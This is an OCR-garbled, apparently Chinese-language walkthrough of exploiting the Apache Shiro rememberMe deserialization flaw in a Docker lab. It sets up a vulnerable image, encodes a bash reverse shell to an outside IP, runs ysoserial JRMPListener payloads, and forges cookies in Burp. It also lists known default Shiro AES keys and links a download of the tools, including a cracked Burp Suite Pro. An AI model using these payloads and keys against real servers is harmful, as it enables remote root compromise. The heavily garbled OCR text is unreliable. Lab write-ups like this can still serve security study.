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EER S centos 7.5
FIEvmware workstation, ZR—MEERS, ITLUTIES, BRERR, FHEHZ%docker

rm -f /etc/yum.repos.d/CentOS-Base.repo && curl http://mirrors.163.com/.help/CentOS7-Base-163.repo -o
/etc/yum.repos.d/CentOS-Base.repo && curl http://mirrors.aliyun.com/repo/epel-7.repo -o /etc/yum.repos.d/epel.repo && yum
clean all && yum makecache && sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config && setenforce 0 && yum
install -y yum-utils device-mapper-persistent-data lvm2 && yum-config-manager --add-repo http://mirrors.aliyun.com/docker-
ce/linux/centos/docker-ce.repo && yum makecache fast && yum -y install docker-ce

1.26eFBiRdocker B =S(GINE

mkdir -p /etc/docker

tee /etc/docker/daemon.json <<EOF

{

"registry-mirrors": ["https://iwozzjf3.mirror.aliyuncs.com"]

}

EOF

BEEAHBREFIE

systemctl daemon-reload && systemctl restart docker && systemctl enable docker

pull dockerz{g

docker pull medicean/vulapps:s_shiro_1

3iB{TEIRRR

BEiEE1TEG, $Edockerfy8080iH MRLEIZIAN Y 8080
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

HIATRENER, IR

CONTAINER ID IMAGE col CREATED STATUS BARTS. NAMES

medicean/vulapps:s shire 1 "/ ocal/tomcat/b." 6 hours ago Up 6 hours 0.0.0.0:8080->8080/tco | beautiful chandrasekhar
Pl =tast)

http://IP:8080/
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Please Log in

Here are a few sample accounts to play with in the default text-based Realm (used for this demo and test inst:

Username Password
root secret
presidentskroob 12345
darkhelmeat ludicrousspeed
lonestarr vespa
Username: | |
Password: | |

COrRemember Me
Login
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— &SN MBVPSTEEU TEREINInuxE S, WEHREZubuntu 18.04

| BB | R it
java FE jdk hrA>=1.7 WE

ysoserial.jar &4 0.0.5 WE

pythonitizs WE

nc FEALHUTESR BE

A7 2.7 WE

—BAMFIENES, BIERESK Awindows 10

BeElR R it
burpsuite FohRAEK WE
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et sock, http, vpn REEE (TT%k)
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root@locs st:~# nc -1_'-.-'p 666
Listening on [0.0.8.08] (family @, port 666)

FIHFEERRISEES
bash -i >& /dev/tcp/45.62.123.153/666 0>&1
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@Jackson T java.lang.Runtime.exec() Payload Workarounds

Hello! I'm Jackson, and this is a place Mon 12 December 2016
for me to publish shareable thoughts.
Occasionally there are times when command execution payloads via

About

Runtime.getRuntime().exec() fail. This can happen when using web shells, deserialization ex-
ploits, or through other vectors.

chives

Calegories  gometimes this is because redirection and pipe characters are used in a way that doesn't make
s sense in the context of the process that's being launched. For example, executing 15 >
ark Theme
' dir_listing in a shell should output a listing of the current directory into a file called dir_list-

ing . But in the context of the exec() function, that command would instead be interpreted to
fetch the listings of the » and dir listing directories.
Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory” would then be interpreted
as 1s '""My" 'Directory™’ A

JFRIES
With the help of Base64 encoding, the converter below can help reduce these igafies. It can make
pipes and redirects great again through calls to Bash or PowerShell and it ensures that there
arent spaces within arguments
Input t O PowerShell O Python O Perl
bash —i >& /dev/tcp/45.62.123.153/666 0>&l
bash —c {echo, YmFzaChtaSA+JiAvZiGVZLIRjcCEBONS42Hi4xM i MuMTUZLzY2NIAWPIYX] |
{base&d,-d} | {bash, -1}
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java -cp ysoserial.jar ysoserial.exploitJRMPListener 6666 CommonsCollections4 'IIZEAYES

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80NS42Mi4xMjMuMTUzLzY2NiAwWPiYx} | {base64,-d} | {bash,-i}'

ETLAMESFBjava— Nl

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80NS42Mi4xMjMuMTUzLzY2NiAwWPiYx} | {base64,-d} | {bash,-i}'

:i~# "java -cp y
‘bash -c {eche, YmFzaC
-1}‘

Hrhpoyload 2L T™EE

rememberMe=I8UXYB6bQ2KDkr51KVLMI50NVGRIKOBO2IHjHZ1XZIYrLMtS771CaRIVbczéwlo)lkMH6Gt13yO03/v8Ra1T8x3jH8qIXsuSPV5W1F219Ys6TF
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Burp Intruder Repeater Window Help
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Raw Params Headers

AIEEFABRENIKFEEEER,

Please Log in

Hex

Intercept is off

FEEBEAERemember Me

Here are a few sample accounts to play with in the default text-based Realm {used for this demo and test installs only).

Username
root secret
presidentskroob 12345
darkhelmet

lonestarr vespa

Password

ludicrousspeed

Username: |r00t

Password: |___p.u'

RemMe

SHMAEDBE, KEcookiedrsremeMberS#f9E, EHEIE K EIRepeatert&il
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Burp Intruder Repeater Wmdowy(p 1
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Login

.................. -

Target

sgénner T Intruder T Repeater T Sequencer T Decoder IComparer IEﬂender I Project options I User options | Aleris

[ Intercept I HTTP hi:

H WebSockets history IOmlans W

‘ Filter: Hiding CSS. image and general binary content

|G

Reguest | Response
Raw | Params IHeaders Tm

GET / HTTP/1.1

Host: 192.168.142.156:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Accept: text/html application/xhtml+xml app|
Accept-Language: zh-CN zh;q=0.8 zh-TW, o
Accept-Encoding: gzip, deflate

Referer: http:/192.166.142.156:8080/10gin js
DNT: 1

Connection: clos@

NID=CDABSD1 AEDAO2CE
fvapGiUEWCH\mwhSDSE
GZCe7BbYEKYOBIBNE1DF YjAV3GMK1X3
Iw03iB3VFEBKIgw2KEMg20gXQaW Y Ly pdxi
Hd7 +1JgywSWKIuulPsSBOdoAmM7 T/ES
Upgrade-Insecure-Requests: 1

Send to Comparer (request)
Send to Comparer (response)
Show response in browser
Request in browser
Engagement tools

Show new history window
Add comment

Highlight

Delete item

Clear history

Copy URL

Copy as curl command
Copy links

Save item

Proxy history help

£ |Host & | Method | URL | Params | Edited | Status | Length |[MIMEt_ | Extension Title | Comment |ssL P

788 hitp//192 168 142 156:8080 POST  flogin jsp,jsessionid=CDABSDTA 302 840 HTML  jsp 192 168 142 156

790 http://192 168 142 156:8080 GET —* 200 969 HTML Apache Shiro Quick 192 168.142 156

867  http://192 168.142.156:8080 GET | hitp://192.168 142 156:8080/ 302 145 192 168.142 156

868  hitp://192.168.142.156:8080 GET | Add to scope 200 436 HTML 192.168.142.166

3511 http://192.168.142.156:8080  GET | Spider from here 302 303 192.168.142.166

3512 hitp://192.168.142.156:8080 GET | Dy an active scan 200 1134 HIML Apache Shiro Quick... 192.168.142.166

3614 htp:/192.168.142.166:0080 GET | 1o, vaccive scan 200 217 HIML  jsp 192.168.142.156

4120 hitp://192.168.142.166:8080 POST] 02 915 HTML  jsp 192.168.142.156
Send to Intruder Ctri+l

4121 hitp://192.168.142.156:8080 200 969 HTML Apache Shiro Quick... 192.168.142.156
Send to Repeater Cirl+R

,AJ{? httn 11162 168 142 16R-RNRN 200 a23 HTMI ien 192 168 142 1AR
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HiaGN+1 maCskMgwGphCPpYgdcHSvCBWhToS0zs/kUQNTxnLZPzUCIcG3V34)7 mSsx6B/264V4SWmrgxziY HdZuzd Qj
IORCUdIK/qTOt3PoajFbHOBRmOBBNihwd Yy qlDZzas 2686 x/ZBMmtDgT-HAX/D2ILCzGol0GTINBTtMeL7wDNHATIze Ad
MzCEykkOVziFiU/E4BYSBBgiY QN7 14DjlrhBw) GHI2Mwo/Ko+3FvExLCPAAVIMWy d +dt TUCRkr3Q4uk yBZrin LIGBIMIMEVS

&8s Rkcookie, {FRIERMAIpayload, BiRiERPRIcookiel5R, ZiEmdEgo



[’ Target F’roxyr [ Spider T Scanner ] Intruder TRepeater ]: Sequencer ] Decuderr l Comparer I Extender I Project options I User aptmnsi

Ommmm B
‘ Go ‘ < |w > | ¥ \ Targe[:hﬂp:l]192.16.142.156:8080g

Raw | Params THeaders m Raw

GET/HTTR/M 1 A
Host: 192.168.142.156:8080 r
User-Agent: Mozilla’5.0 (Windows NT 10.0; WinB4; x64; n70.0) Gecko/20100101 Firefox/70.0
Accept text/html application/xhtml+xml application/xml g=0.9 */* =0 8

Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referar http:#/192.168.142.156:8080/login.jsp;jsessionid=CDABSD1AEDA02 CEAED307093A9568B00
DNT: 1

Connection: close

Cookis:rememberie=BUXYBEbOZKDkE | KYLmIEOMGRIKIBO2IHHZIXZIY ILMIST7ICaRNbezBwlo
WIKMHEGH 3yC3MERa1 TBx3jHBgXsuSPVEW1 F219Y sETFIMAM zhms CqbZOWwgPwld/2Be U 14P0vSh
mRVIBB7 GuSXxT 0y QUFZChswiDF AySdoioVUwMxT/y S0eM4 z/1 /tno506BpULediOTz6k O AADpBXgS
wilyiMB CeiX2D+7w2VdfF bLUbz gUSPukXJSGToC O 5qZNed REWs DwnHuQn0Bt JhOD3WG30POPg
hPcaTuaNuNRmnGgmpOyyOnYIKQuAsEJUpRIMENPgwX0 Y D7 bhd 11 gwdn\x Y NmTmMNxDoXyK4Ru
xGFGLBx02gVkzI0nEgdiZaQY xBIORt /A==

R s TR =0 R S

L

Raw | Params' | Headers [m Raw | Headers [E[ HTML ] Rander]

GET / HTTP/ 1

: HTTR/1.1 200 0K |
Host: 192.168.142.156:8080 Senver, Apache-Coyate/1.1
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; n:70.0) Gecko/20100101 Firefox/70.0 Set-Cookie: rememberlvl eteMe; Path=/, M: ge=0; Expires=Tue, 15-0ct-2013 13:30:41 GMT
Accept: text/html application/xhtrl+xml application/xml; g=0.9,%* ¢=0.8 Set-Cookie: JSESSIONID=BEI659B03BCE0444BEGI2ETERLD1 ADAS; Path=/; HttpOnly
Accept-Language: zh-CN zh;q=0.8,zh-TW; =07 zh-HK, g=0.5 en-US;q=0.3 en;q=0.2 Content-Type: text/html;charset=IS0-8855-1
Accept-Encoding: gzip, deflate Content-Length: 1024
Referer: hitp:#192.168.142.156:8080/lugin.jsp; jsessionid=CDABSD 1 AEDA02CEAED307093A95668B00 Date: Wed, 16 Oct 2019 13:30:41 GMT

DNT: 1

Connection: close

Cookie:rememberMe=1BUXYBELQ2KDKSTKVLmMIS ONvGRIKDBOZIHJHZ 1 HZIY LMt STTIC
JIkMHEGt 13y 03/M8Ral1 TBx3jHBqXsusPVEW 1 F219Y sETFiM4Mzbms CgbZ 0w Pwld/2BeU1fAP0vSh
mRVIBB? GuS)xX70y QJF ZChswiDF AySdoiof A UwMxT/y SOeM4 z/1/tino506BpULodiiTzEk DAADpBX S
wlyiME Ceix2D+7w2VdfFbLUbzgUSPukX)SGToC O SgZNe4REWs|DwnHUQn0BtJhODIWWG30POPg
hPeaTualuMRmnGgmplyy OnYIKQuQsEJUpRjMENP gwX0Y D7 bbd 11gwdnx Y NmTmMxDoXyK4Ru
xGFGLBx02gVkzI0nEgdiZal Y xBIORIA/A==

Upgrade-Insecure-Requests: 1

Caonnection: close

CaRIVbezBwlo

<html>

BEjavailfiEzO., ncilfEd. HiTwhoamiflip a 5%, HRIBREISEALIfAEBETRRrooti R T

# “java -cp 1al. 3 1al. 1t.JRMPL1stener 6666 Common
-c {eche,YmF asA+la 2L3RjcC LAxM]MuMTUZLzY2N1AwP1Y %] | {b

Opening 1PMP lis tener on 6
Have connection from 21
age .

1ng connectlon
connection from
ding me B
DGC call for [[B:0:8, 419985353]]
Sending return with payload for obj [6
Closing connection
Have conneLtlon from /1

Closing connection

Have connection from /1
, sage

Is D call for [[U
ending return with

1 connection

Have connection from /1
Reading me

Lvp
L1~tcn1ng on [0. (family o,

onnection from [114.2 1 66E Afamily 2,
: annot set termlna1 proce

bash: no job control in this s

root@ 03&3b9353b0.,tmp# whoami

WN group default glen 1

| 1ft forever
T,UP,LOWER_UP> mtu 1508 gdisc noqueue state UP group de

11nk,ether 142
inet 0.2 17.2 255 scope global ethe
valid_1ft forever preferred 1ft forever
root@40323b
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HERE: https://pan.baidu.com/s/1DDmxd7HZ3mMwYa8h8aRjbw 2EVFE: x54k

M., BENTER
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4.1 docker 8%

ALATEESRYs_shiro_1.tar, EiEEXHES A dockersEpa]

| B Burp_suite_Pro vi7 31 ERLIRSEZ M 2ip 2019-11-21 14:37 56.36M8B

| f_ javabeyy18.exe 2019-11-21 14:35 198.03ME

| key.txt 2019-11-21 14:27 4668
shiro.py 2019-11-21 14:27 7338
s_shiro_1.tar 2019-11-21 14:35 329.58MB
ysoserialjar 2019-11-21 14:27 53.51MB

4.2 ysoserial.jar

BT E(ERRE
| B Burp_suite_Pro vi7 31 ERLIRSE T 2ip 2019-11-21 14:37 56.36M8
| f_ javabeyyl18.exe 2019-11-21 14:35 198.03MB
' key.txt 2019-11-21 14:27 4668
shiro.py 2019-11-21 14:27 7338
s_shira_1.tar 2019-11-21 14:35 329.58MB
ysoserial.ja 2019-11-21 14:27 53.51ME

4.3 pythonfil &

BETE, LERRSEFPRIT, ERFEEIERZ, pythonfEREZE27

root@ : t:~# python -V
Python 2.7
7 B Burp_Suite Pro v 7.1 ERMESIE Zip 2019-11-21 14:37 56.36MB

javaboyy1B.exe 2019-11-21 14:35 198.03MB
key.txt / 2019-11-21 14:27 4668
shiro.py 2019-11-21 14:27 733B
s shiro_1.tar 2019-11-21 14:35 3209.58MB
ysoserial jar 2019-11-21 14:27 53.51MB

4.4 burpsuite
TR R, EETRIT, REHR, BETEE



B Burp Suite Pro vi.7. AT BT 19-11-21 14:37 56.36!
Burp_ Suite_Pro_v1.7.3165k 2019-11-2 6.36MB
;_-"_»"-1. javabcyylB.exe 2019-11-21 14:35 128.03MB

key.txt 4668
shiro.py 7338
s_shiro_1.tar 2019-11-21 14:35 329.58MB
ysoserialjar 2019-11-21 14:27 53.51MB

4.5 key
KTFkeySRIERTE, [RIBHESSE—Nkey, EAAESERERNIMNG, EAMPBESN, FMEXRE—IMEYIE

!""H Burp_Suite_Pro_v1.7.31ERLIBEE G zip 2019-11-21 14:37 56.36MB

) javaboyyiBexe 2019-11-21 14:35 198.03MB

n key.txt 2019-11-21 14:27 4668
shiro.py 2019-11-21 14:27 7338
s_shiro_1.tar 2019-11-21 14:35 329.58MB
ysoserial jar 2019-11-21 14:27 53.51MB

kPH+blxk5D2deZilxcaaaA== wGiHplamyXIVB11UXWol8g== 2AvWhdsgUsOFSA3SDFAdag== 4AvWhmFLUsOKTA3Kprsdag==
3AWhmMFLUsOKTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA== U3ByaW5nQmxhZGUAAAAAAA== wGiHplamyXIVB11UXWol8g==
6Zml612j5Y+R5aSn5Z0IAA== fCq+/xW488hMTCD+cm)3aQ== 1QWLxg+NYmxraMoxAXu/lw== ZUdsaGJuSmxibVI2ZHcOPQ==
L7RioUULEFhRyxM7a2R/Yg== rOe3c16ldVkouZgk1TKVMg== 5aaC5qKm50gA5pyvAAAAAA== bWIuZS1hc3NIdC1rZXk6QQ==
a2VIcE9uR29pbmdBbmRGaQ== WcfHGU25gNnTxTIm/MeSpw==

SRR

FIKr B REE SIshirofEZR & HfcookieiRE N Cookie: rememberMe=1 EfRBFR/ &AIXPOST/GETiERK, #EiRE
rememberMe=deleteMe, BBAFLEShirogIES

Go Cancel | [ < v ][ >|» Target: http:/1192.168.142.156:8080 @ @

Request Response
| Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML | Render
GET/ HTTR/1.1 A HTTR/1.1 200 OK &
Host: 192.168.142.156:6080 r Server, Apache-Coyotef1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Set-Cookie: rememberie=deleteMe; Path=/, Max-Age=0; Expires=Tue, 15-0ct-2019 14:55:55 GMT
Accept: textihtml application/xhtmi+xml application/xml;q=0.9 ** =0 8 TCookiE = DCDC1B492E552BF6C57289F; Path=/; HttpOnly
Accept-Language: zh-CN zh;g=0.8,zh-TW,q=0.7 zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2 Content-Type: text/html;charset=|50-8855-1
Accept-Encoding: gzip, deflate Content-Length: 1024
Referer: http://192.168.142.156:8080/0gin.jsp;jsessionid=CDAB5D1 AED402CEAED307T093AISEEE0D Date: Wed, 16 Oct 2019 14:55:56 GMT
DNT: 1 Connection: close
Connection: close
Upgrade-Insecure-Requests: 1
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